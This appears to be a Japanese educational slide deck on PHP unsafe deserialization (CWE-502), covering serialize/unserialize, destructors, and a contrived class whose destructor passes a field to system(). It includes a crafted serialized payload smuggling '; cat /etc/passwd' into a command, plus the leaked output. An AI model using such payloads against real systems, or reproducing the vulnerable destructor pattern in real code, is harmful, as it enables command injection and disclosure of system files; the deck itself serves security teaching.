Deprecated: The each() function is deprecated. This message will be suppressed on further calls in /home/zhenxiangba/zhenxiangba.com/public_html/phproxy-improved-master/index.php on line 456
introduction to unsafe deserialization part1 | PPTX
[go: Go Back, main page]

安全でないデシリアライゼーション(CWE-502)入門
~基礎編~
EGセキュアソリューションズ株式会社
代表取締役 徳丸 浩
2
OWASP Top 10 – 2017 の内容
3
項番 内容
A1 インジェクション
A2 認証の不備
A3 機微な情報の露出
A4 XML外部エンティティ参照(XXE)
A5 アクセス制御の不備
A6 不適切なセキュリティ設定
A7 クロスサイトスクリプティング(XSS)
A8 安全でないデシリアライゼーション
A9 既知の脆弱性のあるコンポーネントの使用
A10 不十分なロギングとモニタリング
New
安全でないデシリアライゼーション(CWE-502)とは
4
• クッキー等からシリアライズデータを送り込み、任意のオブジェクトを
メモリ内に生成
• オブジェクトが破棄されるタイミングでデストラクタが実行される
• オブジェクトを巧妙に組み合わせることにより、攻撃を実行
© 2016-2020 Hiroshi Tokumaru
PHPのコンストラクタ・デストラクタ超入門
© 2016-2020 Hiroshi Tokumaru 5
クラス・コンストラクタ・デストラクタ
<?php
class A {
public function __construct() { // コンストラクタ
echo "** コンストラクタ実行n"; // コンストラクタはnewの際に呼ばれる
}
public function __destruct() { // デストラクタ
echo "** デストラクタ実行n"; // デストラクタはオブジェクトが開放された
} // 際に呼ばれる
}
echo "** プログラム開始n";
$a = new A();
echo "** プログラム終了n";
© 2016-2020 Hiroshi Tokumaru 6
クラス・コンストラクタ・デストラクタ
<?php
class A {
public function __construct() {
echo "** コンストラクタ実行n";
}
public function __destruct() {
echo "** デストラクタ実行n";
}
}
echo "** プログラム開始n";
$a = new A();
echo "** プログラム終了n";
© 2016-2020 Hiroshi Tokumaru 7
** プログラム開始
** コンストラクタ実行
** プログラム終了
** デストラクタ実行
実行結果
オブジェクトが参
照されなくなると
デストラクタが実
行される
シリアライズ入門
© 2016-2020 Hiroshi Tokumaru 8
シリアライズとは?
• serializeは「一列にする」という意味
• シリアライズは、オブジェクトや配列など、構造を持ったデータを
「バイト列」に変換して、伝送や蓄積しやすい形式にすること
• デシリアライズは、シリアライズしたバイト列を元に戻すこと
© 2016-2020 Hiroshi Tokumaru 9
以下のクラスをシリアライズしてみる
<?php
class B {
public $name;
public function __construct($name) {
$this->name = $name; // オブジェクトに名前をつける
}
public function __destruct() {
echo "** {$this->name}は破棄されましたn"; // デストラクタを確認
}
}
$b = new B('hoge');
echo serialize($b), PHP_EOL;
© 2016-2020 Hiroshi Tokumaru 10
O:1:"B":1:{s:4:"name";s:4:"hoge";}
** hogeは破棄されました
実行結果
シリアライズ結果
先の結果をデシリアライズする
<?php
class B {
public $name;
public function __construct($name) {
$this->name = $name;
}
public function __destruct() {
echo "** {$this->name}は破棄されましたn";
}
}
$s = 'O:1:"B":1:{s:4:"name";s:4:"hoge";}';
var_dump(unserialize($s));
© 2016-2020 Hiroshi Tokumaru 11
object(B)#1 (1) {
["name"]=>
string(4) "hoge"
}
** hogeは破棄されました
実行結果
デストラクタが実行された
生成されたオブジェクト
デシリアライズの問題点
• 振り返り
– シリアライズ: オブジェクトや配列などをバイト列に変換する
– デシリアライズ: シリアライズ結果から元の形式に戻すこと
• 外部から受け取ったバイト列をデシリアライズすると、任意のクラス
のオブジェクトが作れる
• ただし、クラスは既存のものに限る
• オブジェクトをデシリアライズすると、最終的にオブジェクトのデス
トラクタが呼ばれる
• デストラクタによって悪いことができる場合がある
• 攻撃にあたっては、既存のクラス定義の中で「どこまでできるか」が
問題になる
© 2016-2020 Hiroshi Tokumaru 12
<?php
class C { // 指定したメールアドレスにデストラクタでメール送信する
public $mail;
public function __construct($mail) {
$this->mail = $mail;
}
public function __destruct() {
system("/usr/sbin/sendmail {$this->mail} < ./template.txt");
}
}
$c = new C('alice@example.jp');
echo serialize($c), PHP_EOL;
脆弱なスクリプト例(極端な例…まずはシリアライズ側)
© 2016-2020 Hiroshi Tokumaru 13
O:1:"C":1:{s:4:"mail";s:16:
"alice@example.jp";}
実行結果
シリアライズ結果
<?php
class C {
public $mail;
public function __construct($mail) {
$this->mail = $mail;
}
public function __destruct() {
system("/usr/sbin/sendmail {$this->mail} < ./template.txt");
}
}
// $s は実際には外部からの文字列
$s = 'O:1:"C":1:{s:4:"mail";s:16:"alice@example.jp";}';
var_dump(unserialize($s));
脆弱なスクリプト例(デシリアライズ側:正常系)
© 2016-2020 Hiroshi Tokumaru 14
object(C)#1 (1) {
["mail"]=>
string(16) "alice@example.jp"
}
実行結果
デシリアライズ結果
このメールアドレスにメール送信される
<?php
class C {
public $mail;
public function __construct($mail) {
$this->mail = $mail;
}
public function __destruct() {
system("/usr/sbin/sendmail {$this->mail} < ./template.txt");
}
}
// $s は実際には外部からの文字列
$s = 'O:1:"C":1:{s:4:"mail";s:17:"; cat /etc/passwd";}';
var_dump(unserialize($s));
脆弱なスクリプト例(デシリアライズ側: 攻撃例)
© 2016-2020 Hiroshi Tokumaru 15
object(C)#1 (1) {
["mail"]=>
string(17) "; cat /etc/passwd"
}
実行結果
デシリアライズ結果。この結果が下記
が実行される
system("/usr/sbin/sendmail ; cat /etc/passwd < ./template.txt
/etc/passwd が表示された
object(C)#1 (1) {
["mail"]=>
string(17) "; cat /etc/passwd"
}
sendmail: fatal: ockeghem(1000): Recipient addresses must be
specified on the command line or via the -t option
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
# 以下略
© 2016-2020 Hiroshi Tokumaru 16
安全でないデシリアライゼーション(CWE-502)とは(再掲)
17
• クッキー等からシリアライズデータを送り込み、任意のオブジェクトを
メモリ内に生成
• オブジェクトが破棄されるタイミングでデストラクタが実行される
• オブジェクトを巧妙に組み合わせることにより、攻撃を実行
© 2016-2020 Hiroshi Tokumaru
次のステップに向けて
• 安全でないデシリアライゼーションの攻撃方法をわかりやすい例で説
明しました
• わかりやすい代わりに、ちょっと「わざとらしい」ですね!
わざとらしくない例は次回説明する予定です
• チャンネル登録してお待ち下さい (_ _)
徳丸浩のウェブセキュリティ講座
https://j.mp/web-sec-study
© 2016-2020 Hiroshi Tokumaru 18
徳丸浩へのお仕事の依頼は
EGセキュアソリューションズ株式会社まで
https://www.eg-secure.co.jp/
チャンネル登録お願いします
徳丸浩のウェブセキュリティ講座
https://j.mp/web-sec-study
© 2020 Hiroshi Tokumaru 19

introduction to unsafe deserialization part1